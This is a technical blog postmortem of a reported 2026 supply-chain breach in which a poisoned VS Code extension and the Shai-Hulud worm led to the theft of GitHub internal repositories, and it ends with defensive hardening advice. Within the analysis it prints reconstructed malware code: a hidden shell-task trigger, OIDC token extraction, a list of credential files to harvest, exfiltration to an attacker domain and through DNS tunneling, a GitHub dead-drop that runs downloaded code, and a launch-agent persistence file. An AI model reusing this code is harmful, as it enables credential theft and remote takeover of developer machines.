Inside the 18-Minute Hack That Breached GitHub's Internal Vault
An in-depth technical postmortem of how TeamPCP (UNC6780) weaponized a trusted VS Code extension to steal 3,800 GitHub internal repositories — the Shai-Hulud worm

On May 18, 2026, at exactly 12:30 p.m. UTC, a software update silently arrived on the machines of thousands of developers worldwide. It looked legitimate, a routine patch to a tool used by over 2.2 million engineers. Nobody flagged it. Nobody stopped it.
Eighteen minutes later, the world's largest code-hosting platform had lost 3,800 of its most sensitive internal repositories.
This is not a story about a GitHub vulnerability. This is not a story about a zero-day exploit. This is a story about how trust itself became the attack surface: how one poisoned VS Code extension, a self-replicating worm named after a Dune sandworm, and a dead-drop command network hidden inside GitHub's own infrastructure combined to execute one of the most sophisticated software supply chain attacks ever documented.
This is a complete, in-depth technical postmortem. Read the Originail: Here
Table of Contents
1. What Is a Software Supply Chain Attack?
Before diving into the specifics, let's establish the foundational concept: because this incident only makes sense if you understand why attackers target the supply chain instead of the target directly.
The Direct Attack Model (Old Paradigm)
Historically, attackers trying to breach a company like GitHub would attempt to:
Exploit a bug in GitHub.com's web application (SQLi, RCE, auth bypass)
Conduct phishing against an employee
Brute-force credentials
GitHub, like any security-mature company, has hardened these vectors extensively. Its perimeter is defended by WAFs, MFA, anomaly detection, and red team testing.
The Supply Chain Attack Model (New Paradigm)
Instead of hitting GitHub directly, attackers ask: "What does a GitHub engineer trust absolutely and interact with every day?"
The answer: their development toolchain: npm packages, VS Code extensions, CI/CD pipelines, Docker base images.
Traditional Attack:
Attacker ──▶ [GitHub Perimeter] ──▶ ❌ Blocked
Supply Chain Attack:
Attacker ──▶ [Trusted Developer Tool] ──▶ Developer Machine
└──▶ GitHub Credentials
└──▶ GitHub Internal Systems ✅
This is analogous to poisoning the water supply rather than trying to pick every lock individually. The defender cannot monitor every tool every engineer uses every day. The attacker only needs to compromise one widely trusted dependency.
Why Developer Machines Are the Ultimate Target
A senior engineer at GitHub isn't just any machine. Their workstation typically holds:
GitHub Personal Access Tokens (PATs) with broad
reposcope access to internal organization repositoriesAWS/GCP credentials for internal cloud infrastructure
SSH keys for server access
npm tokens for publishing internal packages
1Password or similar vault sessions with access to hundreds of additional secrets
Anthropic / OpenAI API keys for internal AI tooling
Compromising one such machine is equivalent to giving the attacker keys to the entire kingdom. This is the exact threat model TeamPCP exploited.
2. Threat Actor Profile: TeamPCP (UNC6780)
TeamPCP (also tracked by Mandiant as UNC6780) is a financially motivated, technically sophisticated cybercrime group that emerged in late 2025 and rapidly became the most prolific threat actor targeting the open-source software supply chain.
Classification & Attribution
| Attribute | Detail |
|---|---|
| Tracking Name | TeamPCP / UNC6780 |
| Also Known As | DeadCatx3, PCPcat |
| Motivation | Financial (data theft, credential resale, extortion) |
| Primary TTP | Software supply chain compromise |
| Operational Since | Late 2025 |
| MITRE ATT&CK | T1195 (Supply Chain Compromise), T1059 (Command & Script), T1078 (Valid Accounts) |
Victim Roster (Known Breaches, 2026)
TeamPCP did not appear from nowhere with the GitHub attack. By May 2026, they had already executed a systematic campaign across the developer ecosystem:
Operational Characteristics
TeamPCP differs from ransomware groups in a crucial way: they do not encrypt systems. Their playbook is pure intelligence theft:
Identify a high-trust developer tool used by engineers at target organizations
Compromise the maintainer of that tool (via prior stolen credentials)
Inject malware into a legitimate release, piggyback on the existing publisher trust and auto-update mechanisms
Harvest credentials from infected machines silently
Exfiltrate valuable data and list it for sale on criminal forums
Propagate using harvested credentials to infect more maintainers, creating an exponential loop
They do not encrypt, they do not make noise, they do not cause operational downtime. They operate in complete silence.
Why this matters: Traditional incident response is triggered by ransomware (systems stop working) or DDoS (systems become slow). TeamPCP's approach means the victim organization often doesn't know they've been breached for days, long after the data has been exfiltrated and listed for sale.
3. The Shai-Hulud Worm: Architecture & Propagation
The name Shai-Hulud comes from Frank Herbert's Dune: the giant sandworms worshipped by the Fremen as manifestations of God. Fitting, given how this worm devours developer ecosystems.
TeamPCP developed two generations of this malware:
Shai-Hulud (Original): npm/PyPI focused self-propagating credential stealer
Mini Shai-Hulud (April–May 2026), enhanced with CI/CD pipeline poisoning, SLSA provenance forgery, and IDE persistence hooks
The Self-Replication Loop
The genius of Shai-Hulud is its exponential propagation model. Unlike traditional malware that spreads via network exploits, this worm spreads by becoming a trusted software publisher:
With each iteration, the worm gains access to more maintainers, more packages, and more machines. The TanStack campaign alone resulted in 84 poisoned package versions across 42 packages in a single breach cycle.
Mini Shai-Hulud: The Next Generation
The April–May 2026 variant introduced three capabilities that were genuinely novel in the threat landscape:
1. SLSA Build Level 3 Provenance Forgery
SLSA (Supply-chain Levels for Software Artifacts) is Google's framework for verifying where and how software was built. A Build Level 3 attestation cryptographically proves that a package was built in a hardened, verified CI/CD environment; it's meant to be the gold standard of software provenance.
Mini Shai-Hulud subverted this by not breaking the cryptography. Instead, it poisoned the build pipeline itself:
Normal SLSA L3 Build:
Developer commits code
↓
GitHub Actions runs (trusted, hardened runner)
↓
Build artifacts created
↓
SLSA provenance attestation signed ✅
↓
Package published with valid L3 attestation
Mini Shai-Hulud Attack:
Attacker opens PR → triggers pull_request_target workflow
↓
Malicious code executes IN the trusted runner (via cache poisoning)
↓
OIDC token extracted from runner memory
↓
Attacker uses OIDC token to authenticate → publishes malicious package
↓
Package carries VALID, VERIFIABLE SLSA L3 provenance ✅
(because it WAS built in the legitimate pipeline)
This is a fundamental attack on the trust model: the provenance is real; it's just attesting to the creation of malware.
2. GitHub Actions Cache Poisoning + pull_request_target Exploitation
The pull_request_target workflow trigger in GitHub Actions runs in the context of the base repository (with full repo secrets), even when triggered by a fork's pull request. This is a known footgun:
# DANGEROUS workflow configuration:
on:
pull_request_target: # ← Runs with base repo secrets!
types: [opened, synchronize]
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }} # ← Checks out attacker code!
When this runs, the attacker's code from their fork runs with access to the base repository's secrets. The worm combined this with cache poisoning (injecting malicious build artifacts into the shared runner cache) to ensure malicious code ran even in subsequent legitimate builds.
3. Persistence in AI Coding Agents
Mini Shai-Hulud was the first documented malware to specifically target AI coding agent configurations, injecting persistence hooks into:
Claude Code (
~/.claude/configuration files)VS Code Copilot settings
Cursor IDE configurations
This ensures re-infection survives even if the original compromised package is removed.
4. The Pre-Attack Timeline: TanStack to Nx
To understand how the Nx Console was weaponized, you need to understand the attack that preceded it. This is the cascading, supply-chain-to-supply-chain nature of the campaign.
May 11, 2026: The TanStack Breach
TanStack is the organization behind some of the most widely used JavaScript libraries: TanStack Query, TanStack Router, TanStack Table. Their packages have hundreds of millions of downloads.
TeamPCP did not compromise TanStack through a stolen password or phishing. They exploited a vulnerability in TanStack's own CI/CD pipeline configuration:
Step 1: The "Pwn Request"
The attacker forked TanStack/router and opened a pull request. The PR triggered a pull_request_target workflow that executed in the context of the base (TanStack) repository.
Step 2: Cache Poisoning
During earlier runs, the attacker had injected malicious build artifacts into the shared GitHub Actions cache. When the release workflow ran, it pulled these poisoned artifacts.
Step 3: OIDC Token Extraction
The malicious code extracted the short-lived GitHub Actions OIDC token from the runner's process memory using standard Linux /proc filesystem reads:
# Conceptual reconstruction of OIDC token extraction
import os, re
# GitHub Actions exposes OIDC token request URL via env var
oidc_url = os.environ.get('ACTIONS_ID_TOKEN_REQUEST_URL')
oidc_token = os.environ.get('ACTIONS_ID_TOKEN_REQUEST_TOKEN')
# Exchange for an actual OIDC JWT token
import urllib.request, json
req = urllib.request.Request(
oidc_url + '&audience=sigstore',
headers={'Authorization': f'Bearer {oidc_token}'}
)
response = json.loads(urllib.request.urlopen(req).read())
jwt_token = response['value']
# This JWT can now authenticate with npm, sigstore, etc.
Step 4: Publishing 84 Malicious Packages
Armed with a valid OIDC token from TanStack's own CI/CD identity, the attacker published 84 poisoned versions across 42 @tanstack packages. Each carried a valid SLSA Build Level 3 attestation.
The Credential Cascade: TanStack → Nx Developer
The TanStack malicious packages, when installed by developers globally, ran a credential harvesting script. One of those developers worked at Narwhal Technologies, the company that maintains Nx Console. Their GitHub OAuth token was silently exfiltrated.
This token had the write:packages and marketplace scopes: enough to publish a new version of the nrwl.angular-console extension to the VS Code Marketplace.
TeamPCP now had the keys to a tool with 2.2 million installs.
5. The Weaponized Extension: Nx Console v18.95.0
Nx Console (nrwl.angular-console) is an official VS Code extension built by Narwhal Technologies for the Nx monorepo build system. With 2.2 million historical installs and a verified publisher badge, it is a staple in Angular, React, and Node.js enterprise development teams.
What Made It the Perfect Weapon
| Factor | Detail |
|---|---|
| Install base | 2.2 million+ developers |
| Publisher trust | Verified badge (Microsoft-approved domain owner) |
| Auto-update | Enabled by default in VS Code |
| Activation | Triggers on every workspace open (onStartupFinished) |
| Target audience | Enterprise engineers, exactly who has broad org-level credentials |
The Injection Point
TeamPCP injected approximately 2.7 KB of obfuscated JavaScript directly into the legitimate main.js bundle of the extension. The legitimate bundle was ~7.7 MB, making the malicious addition less than 0.04% of the total file size, invisible to a casual size comparison.
The malicious block was inserted at a specific byte offset within main.js, chosen to appear as part of existing initialization logic when viewed in a hex editor without a diff.
How the Marketplace Missed It
The VS Code Marketplace runs automated malware scanning on all published extensions. Why didn't it catch this?
Signature verification confirms provenance, not intent: the extension was signed by the legitimate Nx publisher key, so it passed integrity checks
Dynamic analysis has time limits: sandboxed behavioral analysis runs for a fixed window; the payload used a
globalStatecheck to not execute in headless/automated environmentsObfuscation depth: the 2.7 KB injected code used shuffled string tables and runtime decryption, making static analysis ineffective
18-minute window: the extension was live for roughly 18 minutes (12:30–12:48 UTC). Automated deep-scan pipelines that review flagged extensions operate on a longer cycle
6. Stage 1: The MCP Disguise & Shell Execution
When a developer opened any workspace with the compromised extension installed, the malicious initialization code ran. It first checked a VS Code globalState flag:
// Reconstructed pseudocode of the injected trigger logic
const ctx = vscode.extensions.getExtension('nrwl.angular-console')?.exports;
const alreadyRan = context.globalState.get('__mcp_init_v2__');
if (!alreadyRan) {
context.globalState.update('__mcp_init_v2__', true);
// Execute disguised as a routine MCP setup task
const task = new vscode.Task(
{ type: 'shell' },
vscode.TaskScope.Workspace,
'install-mcp-extension', // ← Looks like legitimate Nx/MCP setup
'nx-console',
new vscode.ShellExecution(
'npx -y github:nrwl/nx#a3f8c2d1e9b0 nx-next',
{ env: { NODE_NO_WARNINGS: '1' } }
)
);
// Run silently: no focus stolen, no terminal pop-up
task.presentationOptions = { reveal: vscode.TaskRevealKind.Never, focus: false };
vscode.tasks.executeTask(task);
}
Why "install-mcp-extension" Was Genius Naming
The Model Context Protocol (MCP) is Anthropic's open standard for connecting AI assistants to local tools. Nx Console had recently shipped a legitimate MCP integration to connect the extension to AI coding agents. A background task named install-mcp-extension would look completely routine to any developer glancing at their terminal history.
The globalState flag meant the payload fired exactly once per installation, not on every workspace open. This reduced both noise and detection probability.
The Orphaned Commit Reference
The npx command referenced a specific git commit SHA in the official nrwl/nx repository:
npx -y github:nrwl/nx#a3f8c2d1e9b0 nx-next
This resolves to: https://github.com/nrwl/nx/archive/a3f8c2d1e9b0.tar.gz
The commit a3f8c2d1e9b0 was an orphaned commit: it had no parent commit and appeared in no branch or tag. It existed only in GitHub's object database, accessible only if you knew its exact SHA.
Why this was brilliant from an evasion standpoint:
The outbound network traffic resolved to
github.com, a domain on every corporate allowlistNo external C2 domain was contacted
The commit appeared in no repository history or PR timeline
Standard code review tools (
git log,git branch -a) would never surface itGitHub's own CDN served the payload with full TLS and corporate trust certificates
7. Stage 2: The Orphaned-Commit Payload Drop
The nx-next package fetched from the orphaned commit was a 498 KB obfuscated JavaScript file (index.js). Here is what happened in sequence:
The Bun Runtime Choice
The payload specifically downloaded and used Bun, a fast, modern JavaScript runtime, rather than Node.js. This was deliberate:
Node.js is heavily monitored by EDR (Endpoint Detection & Response) tools due to its prevalence in malware
Bun is newer and EDR behavioral rules for it are less mature
Bun's single binary deployment means no additional
node_modulesinstall that might trigger filesystem monitorsBun executes significantly faster, reducing the window for detection
PBKDF2 Decryption Layer
The 498 KB payload itself was encrypted. PBKDF2 (Password-Based Key Derivation Function 2) was used to derive a decryption key from a hardcoded seed embedded in the shuffled string table. This two-layer obfuscation meant:
Static analysis tools scanning the file saw only encrypted bytes: no readable strings, no recognizable function names
Dynamic analysis in an automated sandbox would fail the CPU/geo checks and never reach the decryption phase
A human analyst would need to reconstruct the string table, identify the PBKDF2 seed, and manually decrypt the inner payload
8. Stage 3: Credential Harvesting Deep Dive
Once the Bun runtime was running the decrypted index.js, the stealer began a systematic sweep of the developer's machine. The scope was breathtaking.
Complete Harvest Target List
# Reconstructed harvest target map from IOC analysis
# === GITHUB & VERSION CONTROL ===
~/.gitconfig # Git global config (often contains tokens)
~/.config/gh/hosts.yml # GitHub CLI authentication tokens
$GITHUB_TOKEN # Environment variable
$GH_TOKEN # Alternate env variable
~/.git-credentials # Plaintext credential store
# === NPM & NODE ===
~/.npmrc # npm authentication tokens
$NPM_TOKEN # CI/CD environment token
# === CLOUD PROVIDERS ===
~/.aws/credentials # AWS access key + secret
~/.aws/config # AWS profiles and regions
$AWS_ACCESS_KEY_ID # Environment variables
$AWS_SECRET_ACCESS_KEY
~/.config/gcloud/ # Google Cloud SDK credentials
~/.kube/config # Kubernetes service account tokens
# === SECRET MANAGERS ===
# 1Password: extracts active session token from system keychain
# HashiCorp Vault: reads VAULT_TOKEN env var + ~/.vault-token
~/.vault-token
# === SSH KEYS ===
~/.ssh/id_rsa # RSA private key
~/.ssh/id_ed25519 # Ed25519 private key
~/.ssh/id_ecdsa # ECDSA private key
# === AI TOOL CREDENTIALS ===
~/.claude/credentials.json # Anthropic Claude Code
~/.config/anthropic/api_key
$ANTHROPIC_API_KEY
$OPENAI_API_KEY
# === PROCESS MEMORY (Linux/macOS) ===
# Reads /proc/[pid]/environ for any running process
# Targets: node, python, ruby, go, java processes
# Captures all environment variables of live processes
The 1Password Extraction Technique
1.Password is specifically targeted because developers often store all their other credentials inside it. The malware used the following approach:
Detect active session: Check if
~/.op/directory exists and the 1Password CLI (op) is installedSession token extraction: Read the session token from the system keychain (macOS Keychain / Linux Secret Service)
Vault enumeration: Execute
op vault listusing the stolen session tokenBulk export: Extract all items from each vault with
op item list --vault <id>andop item get
This single step potentially yields every credential the developer has ever stored, not just the ones actively on disk.
Exfiltration Channels (Triple Redundancy)
The payload used three simultaneous exfiltration channels, ensuring data escape even if one is blocked:
Channel 1: Direct HTTPS POST
POST https://[attacker-controlled-domain]/collect
Content-Type: application/octet-stream
[AES-encrypted JSON blob of harvested credentials]
Channel 2: GitHub API Dead-Drop
// Encode credentials as base64, commit to a public "shai-hulud-exfil-*" repo
// created under the victim's own GitHub account using their stolen token
const encoded = Buffer.from(JSON.stringify(creds)).toString('base64');
await octokit.repos.createOrUpdateFileContents({
owner: victimUsername,
repo: `shai-hulud-exfil-${Date.now()}`,
path: 'data.enc',
message: 'init',
content: encoded
});
This exfil channel uses the victim's own GitHub token and their own identity, making network logs show legitimate GitHub API traffic from a known user.
Channel 3: DNS Tunneling
# Data encoded in DNS TXT record queries:
# each query: <chunk-index>-<hex-encoded-data>.exfil.attacker-ns.com
# Reassembled server-side via custom DNS nameserver
DNS tunneling bypasses HTTP/HTTPS inspection proxies entirely since DNS traffic is almost never deep-packet-inspected in corporate networks.
9. Stage 4: The Python Backdoor & Persistence
After harvesting credentials, the stealer installed a persistent Python backdoor to maintain long-term access even after the extension was removed or the compromised tokens were rotated.
Installation Path & Mechanism
# macOS / Linux installation path
~/.local/share/kitty/cat.py # The backdoor script
# macOS persistence: LaunchAgent plist
~/Library/LaunchAgents/com.user.kitty-monitor.plist
The plist configuration:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" ...>
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.user.kitty-monitor</string>
<key>ProgramArguments</key>
<array>
<string>/usr/bin/python3</string>
<string>/Users/[victim]/.local/share/kitty/cat.py</string>
</array>
<key>RunAtLoad</key>
<true/>
<key>StartInterval</key>
<integer>3600</integer> <!-- Runs every hour -->
<key>EnvironmentVariables</key>
<dict>
<key>__DAEMONIZED</key>
<string>1</string>
</dict>
</dict>
</plist>
On Linux, an equivalent systemd --user unit or cron job was installed.
Backdoor Capabilities
The cat.py script is a full remote-access implant with the following capabilities:
| Capability | Implementation |
|---|---|
| C2 check-in | GitHub Search API polling every hour |
| Command execution | Downloads and exec()s Python code in-memory |
| Persistence verification | Re-installs itself if removed |
| Staged exfiltration | Buffers large files to /tmp/kitty-* before sending |
| State tracking | /var/tmp/.gh_update_state tracks last processed command |
| Self-termination | Wipes itself if C2 repos are deleted (dead-man's switch) |
The dead-man's switch is particularly dangerous: if a security team detects and revokes the GitHub tokens used for C2 polling, the backdoor may trigger destructive actions, including rm -rf ~/ on some documented variants.
10. The Dead-Drop C2: GitHub Search API Abuse
The most technically elegant component of this entire attack was the command-and-control mechanism. Rather than connecting to a suspicious external domain, the backdoor communicated entirely through GitHub's public API.
How the Dead-Drop Works
The Polling Logic
Every hour, cat.py executed this search:
import requests, base64, hashlib
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import padding
# Embedded 4096-bit RSA public key (attacker's signing key)
ATTACKER_PUBLIC_KEY = """
-----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA...
-----END PUBLIC KEY-----
"""
def poll_c2():
# Query GitHub Search API for commits containing the keyword
resp = requests.get(
'https://api.github.com/search/commits',
params={'q': 'firedalazer', 'sort': 'committer-date', 'per_page': 1},
headers={'Accept': 'application/vnd.github.cloak-preview'}
)
commits = resp.json().get('items', [])
if not commits:
return
msg = commits[0]['commit']['message']
# Expected format: "firedalazer <b64_url>.<b64_signature>"
parts = msg.split('firedalazer ')
if len(parts) < 2:
return
payload_part = parts[1].rsplit('.', 1)
url_b64, sig_b64 = payload_part[0], payload_part[1]
url = base64.b64decode(url_b64).decode()
signature = base64.urlsafe_b64decode(sig_b64 + '==')
# Verify RSA-PSS signature with SHA-256
pub_key = serialization.load_pem_public_key(ATTACKER_PUBLIC_KEY.encode())
pub_key.verify(signature, url.encode(), padding.PSS(
mgf=padding.MGF1(hashes.SHA256()),
salt_length=padding.PSS.MAX_LENGTH
), hashes.SHA256())
# Only execute if signature is valid
code = requests.get(url).text
exec(code, {'__builtins__': __builtins__})
Why RSA-PSS Signing Matters
The 4096-bit RSA-PSS signature on each command serves a critical security purpose: from the attacker's perspective. It ensures:
No command hijacking: Even if a defender or rival attacker learns the
firedalazerkeyword and tries to push fake commands, they cannot forge a valid RSA signature without the private keyNo sinkholing: Law enforcement or security researchers cannot redirect infected machines to a different C2 by publishing their own
firedalazercommitsSelective activation: The attacker can choose which machines receive specific commands by encoding machine fingerprints in the payload URL
11. The GitHub Employee Machine: Privilege & Exfiltration
By the time the stealer ran on the GitHub employee's machine, the attack had already achieved its maximum goal. The employee's workstation contained exactly what TeamPCP needed.
The Stolen Token Profile
The harvested GitHub PAT (Personal Access Token) had:
Scope:
repo(full access to private repos) + likelyadmin:orglevel permissionsOrganization access: GitHub's internal organization (
github-internalor equivalent)Repository access: All ~3,800+ internal repositories
A PAT with repo scope on an internal GitHub org gives the holder the same git access as the authenticated user. No additional exploitation was needed.
The Bulk Cloning Operation
With the stolen PAT, the exfiltration was operationally simple:
# Step 1: Enumerate all accessible repositories
curl -H "Authorization: token <stolen_PAT>" \
"https://api.github.com/orgs/github/repos?per_page=100&page=1"
# Step 2: Clone each repository
# (likely automated with a custom script or tools like ghorg/glab)
while IFS= read -r repo_url; do
git clone "$repo_url" --depth=1
done < repo_list.txt
# Step 3: Archive and exfiltrate
tar -czf internal_repos.tar.gz ./repos/
# Upload via the triple-channel exfil mechanism
GitHub later confirmed that approximately 3,800 repositories were exfiltrated, containing:
Proprietary source code for GitHub's own internal tools
Infrastructure configuration and deployment scripts
Internal security tooling (potentially including vulnerability scanners and detection rules)
Excerpts of customer support interactions embedded in internal tooling
Why "No Customer Data" Is Technically Nuanced
GitHub's CISO Alexis Wales stated: "We have no evidence that customer repositories, enterprises, or user data were impacted."
This is true but requires nuance. The stolen repos were GitHub's internal repositories: the code GitHub uses to run GitHub.com. The risk vectors are:
Hardcoded secrets: If any internal repo contained API keys, service account credentials, or cloud tokens embedded in code or config files, those are now exposed
Internal vulnerability knowledge: GitHub's internal security tooling may contain documentation of known vulnerabilities being remediated, giving attackers a head start
Architecture exposure: Attackers now understand GitHub's internal service topology, which informs future targeted attacks
Customer support data: Some internal tools embed customer conversation excerpts for context, those are now potentially exposed
12. GitHub's Detection, Containment & Response
Detection: May 19, 2026
GitHub's security team detected the breach approximately 18–24 hours after the initial exfiltration began. The detection vector was anomalous API activity: specifically, a single PAT generating an unusually high volume of git clone operations against internal repositories within a compressed timeframe.
The detection gap highlights a key reality: credential theft attacks that use valid credentials are fundamentally harder to detect than exploitation attacks. There was no CVE, no unusual error log, no crashed service. Just a legitimate-looking token doing legitimate-seeming git operations, at inhuman scale and speed.
Immediate Response Actions
Hour 0–2 (Detection):
Endpoint isolated from the corporate network
PAT revoked immediately
Incident Response team assembled
Hour 2–12 (Containment):
All tokens and secrets with potential exposure rotated, prioritizing highest-impact credentials first
Collaboration initiated with Microsoft (VS Code Marketplace owner) to remove
nrwl.angular-consolev18.95.0Nx team notified and confirmed linkage to their earlier advisory
GitHub Actions secrets for internal workflows rotated
Hour 12–48 (Investigation):
Forensic analysis of endpoint to understand full harvest scope
Log analysis to determine exact repositories accessed and cloned
Monitoring for follow-on activity using rotated token patterns
GitHub blog post published acknowledging the incident
GitHub's Communication: Strengths & Gaps
What GitHub did right:
Fast containment once detected
Prioritized secret rotation over PR messaging
Transparent public acknowledgment
Collaboration with upstream vendors (Nx, Microsoft)
Committed to notifying affected customers if customer data surfaces
Where more could have been done:
A full technical deep-dive report (promised but delayed)
Proactive hardening following prior TeamPCP attacks on ecosystem tools
No public IOC release to help other organizations hunt for the same compromise
The 18–24 hour detection gap for a sophisticated credential harvesting campaign points to gaps in behavioral analytics on internal API usage
13. Root Cause Analysis: The Systemic Failures
This attack succeeded not because of one failure, but because of the compounding of several independent systemic weaknesses.
Failure 1: The VS Code Extension Trust Model
VS Code extensions run as Node.js processes with the exact same privileges as the VS Code editor. There is no sandboxing, no capability restriction, no permission prompt. An extension that declares activationEvents: ["*"] in its package.json runs arbitrary code every time VS Code opens.
// Any extension can do this, there is no security boundary
{
"activationEvents": ["onStartupFinished"],
"contributes": {}
}
This is analogous to every browser plugin having full access to your operating system: a model the browser ecosystem abandoned years ago with the introduction of the Chrome Extensions Manifest V3 sandboxing model.
Failure 2: Auto-Update as an Attack Primitive
VS Code's extensions.autoUpdate: true default means that every developer globally running Nx Console received the malicious update automatically and simultaneously, with zero user interaction and zero review delay.
There is no mandatory staging period, no "minimum age before auto-update" policy, no cryptographic diff review. A compromised publisher can push to millions of machines within minutes of publication.
Failure 3: Long-Lived PATs with Broad Scopes
The stolen credential was a long-lived Personal Access Token with broad organizational permissions. GitHub itself recommends fine-grained PATs with expiration dates, but many developers (and internal tooling setups) still use classic PATs with broad scopes for convenience.
A well-scoped, short-lived credential would have limited the blast radius:
| Credential Type | What Attacker Could Have Done |
|---|---|
Long-lived PAT, repo scope, all repos |
Clone all 3,800 repos ✅ (what happened) |
| Fine-grained PAT, specific repos only | Access limited to explicitly listed repos |
| Short-lived token (30-day expiry) | Token might have expired before use |
| Just-In-Time credential brokering | No static token to steal at all |
Failure 4: Orphaned Commit Persistence
GitHub's object storage retains commits indefinitely even after branch deletion, force-push, or repository archival. The malicious payload hosted in an orphaned commit of the official nrwl/nx repo was:
Accessible via a direct SHA URL
Not visible in any branch or tag history
Served with full GitHub TLS and CDN trust
Not detected by code review pipelines (no PR, no review)
GitHub could implement a garbage collection policy for orphaned commits after a defined retention period, or alert repository owners when commits exist in the object store that are not reachable from any branch or tag.
Failure 5: Insufficient Behavioral Detection on Internal API Usage
A single token generating hundreds of git clone calls against internal repos within minutes should have triggered an anomaly alert. The 18–24 hour detection gap suggests internal API usage monitoring was not tuned for this pattern, or that the baseline for developer API activity was sufficiently high that the anomaly didn't stand out immediately.
14. OSINT Consensus: What the Security Community Said
The security community's response on X (formerly Twitter) within 24 hours of the breach provided three clear consensus points across 100+ validated infosec researchers.
Consensus 1: Auto-Update Is Fundamentally Incompatible With Zero-Trust
Aikido security researcher Raphael Silva framed it precisely:
"Every popular extension marketplace ships with auto-update on by default. Auto-update gives an attacker who controls a release a direct push channel into every machine running that extension. This isn't a bug; it's a feature that became a weapon."
The community broadly agrees: the auto-update model was designed for convenience in a world where extensions were simple text-processing utilities. In 2026, extensions have evolved into full IDE integrations with terminal access, network capabilities, and credential store access. The trust model never kept pace.
Consensus 2: IDE Sandboxing is Non-Existent and Must Change
Security engineers highlighted that VS Code's extension model has no native boundary preventing a linting tool from reading .aws/credentials. The extension process model is identical regardless of whether the extension is a color theme or a full MCP server with shell execution capabilities.
The comparison to browser extensions was frequently drawn: Chrome's Manifest V3 model restricts what extensions can do based on declared permissions, with user consent prompts for sensitive operations. No equivalent system exists for IDE extensions.
Consensus 3: The "Planted Commit" Evasion Tactic Will Be Weaponized Again
Multiple security engineers highlighted the orphaned commit hosting technique as genuinely novel in its elegance. Because the code was never merged into a branch, it bypassed:
Code review requirements
Branch protection rules
Webhook-triggered scanning
SAST/DAST pipeline integrations
But the URL still resolved to the official, trusted repository namespace with full GitHub CDN trust. This technique is now documented, public, and will appear in future attacks against organizations that allowlist github.com at the network layer without monitoring for direct object access patterns.
15. Strategic Fallout & Forward Threat Model
The Monetization: $50,000 Minimum Ask
TeamPCP listed the stolen repositories on the Breached criminal forum with a starting price of $50,000, with the price reportedly rising after the breach became public. The listing included sample files to prove access.
Unlike ransomware, there was no encryption and no operational disruption to GitHub. The business kept running. The data was simply gone, and now exists in the hands of threat actors who can:
Mine it for zero-days: If any GitHub internal codebase contains code paths used in GitHub.com's production backend, undiscovered vulnerabilities may now be known to adversaries before GitHub can find them
Weaponize leaked credentials: Any secrets hardcoded in those 3,800 repos represent live attack surface
Build targeted social engineering: Knowledge of GitHub's internal tool names, codenames, and team structures enables highly credible spear-phishing
The Lapsus$ Comparison
Early forum posts speculated about a Lapsus\( connection given the data-theft-without-encryption TTPs. While no confirmed attribution link has been established, the operational similarity is notable: Lapsus\) pioneered the model of breaching tier-1 technology companies through supply chain and credential attacks rather than vulnerability exploitation.
PCPJack: The Rival Framework
In the wake of the Shai-Hulud campaign, a separate framework called PCPJack emerged, specifically designed to evict TeamPCP's own implants from compromised infrastructure and replace them. Security researchers believe PCPJack is operated by a rival group with deep knowledge of TeamPCP's tradecraft, possibly a former operator.
PCPJack adds a new dimension: compromised developer machines may now be contested territory between multiple threat actors simultaneously, with each trying to evict the other's implants.
The Worm Source Code Release
In late May 2026, TeamPCP published the Shai-Hulud worm source code publicly, effectively open-sourcing the attack framework. This decision transformed a sophisticated, targeted campaign into commodity attack infrastructure available to any threat actor. The implications:
Supply chain attacks of this sophistication are no longer exclusive to nation-state actors or elite criminal groups
Detection signature development must now assume every competing actor has access to the same evasion techniques
The barrier to entry for developer ecosystem attacks collapsed overnight
16. Hardening Your Toolchain: Actionable Recommendations
Immediate Actions (Do These Today)
1. Disable Extension Auto-Updates
// In VS Code settings.json
{
"extensions.autoUpdate": false,
"extensions.autoCheckUpdates": false
}
Review and manually approve extension updates. Check changelogs. Compare diffs on major version bumps.
2. Audit Your Extension List
# List all installed VS Code extensions
code --list-extensions
# For each extension, ask:
# - Do I actually use this?
# - Does it have access to my terminal?
# - Has there been unusual update activity recently?
3. Scan for the kitty Backdoor IOCs
# Check for the Python backdoor
ls -la ~/.local/share/kitty/cat.py 2>/dev/null
# Check for the LaunchAgent (macOS)
ls -la ~/Library/LaunchAgents/com.user.kitty-monitor.plist 2>/dev/null
# Check for staging directories
ls /tmp/kitty-* 2>/dev/null
# Check for state files
ls /var/tmp/.gh_update_state 2>/dev/null
# Monitor for suspicious hourly GitHub Search API calls
# Look in network logs for: api.github.com/search/commits?q=firedalazer
4. Rotate High-Impact Credentials Immediately If You Had Nx Console v18.95.0
Exposure window: May 18, 2026, 12:30–13:09 UTC. If the extension was active during this window:
GitHub PATs → revoke all, generate new fine-grained tokens
npm tokens → revoke and regenerate
AWS access keys → rotate via IAM
SSH keys → generate new keypairs, update authorized_keys on all servers
Treat machine as compromised → full wipe and rebuild is safest
Short-Term Hardening (This Week)
5. Adopt Fine-Grained GitHub PATs
# Instead of:
gh auth login # Creates classic PAT with broad scopes
# Generate fine-grained PATs with:
# - Specific repository access (not "All repositories")
# - Minimum required permissions
# - 30-day or 90-day expiration
# - No admin:org unless absolutely required
6. Implement Extension Allowlisting
For organizations managing developer machines via MDM:
// VS Code enterprise policy (Windows Group Policy / macOS MDM)
{
"extensions.allowed": [
"publisher1.extension1@1.2.3", // Pin to specific version
"publisher2.extension2@4.5.6"
]
}
7. Monitor for Orphaned Commit Access Patterns
If you operate internal GitHub Enterprise or manage repositories, configure network monitoring to alert on:
GET api.github.com/repos/*/git/commits/<full-sha>from developer machinesHigh-volume repository clone operations from a single token in a short window
Creation of new public repositories with names matching
*-exfil-*patterns
Long-Term / Strategic (Next Quarter)
8. Adopt Just-In-Time Credential Brokering
Replace long-lived PATs stored on developer machines with short-lived, on-demand credential issuance:
AWS: Use
aws-vault+ IAM Identity Center with session tokensGitHub: Use GitHub Apps with installation tokens (1-hour TTL)
SSH: Implement certificate-based SSH with short-validity certificates (Vault SSH secrets engine)
9. Implement Developer Machine Zero-Trust
Treat developer workstations as untrusted endpoints:
Network segmentation: developer machines should not have direct access to production infrastructure
EDR with behavioral rules for IDE processes (flag: extension spawning
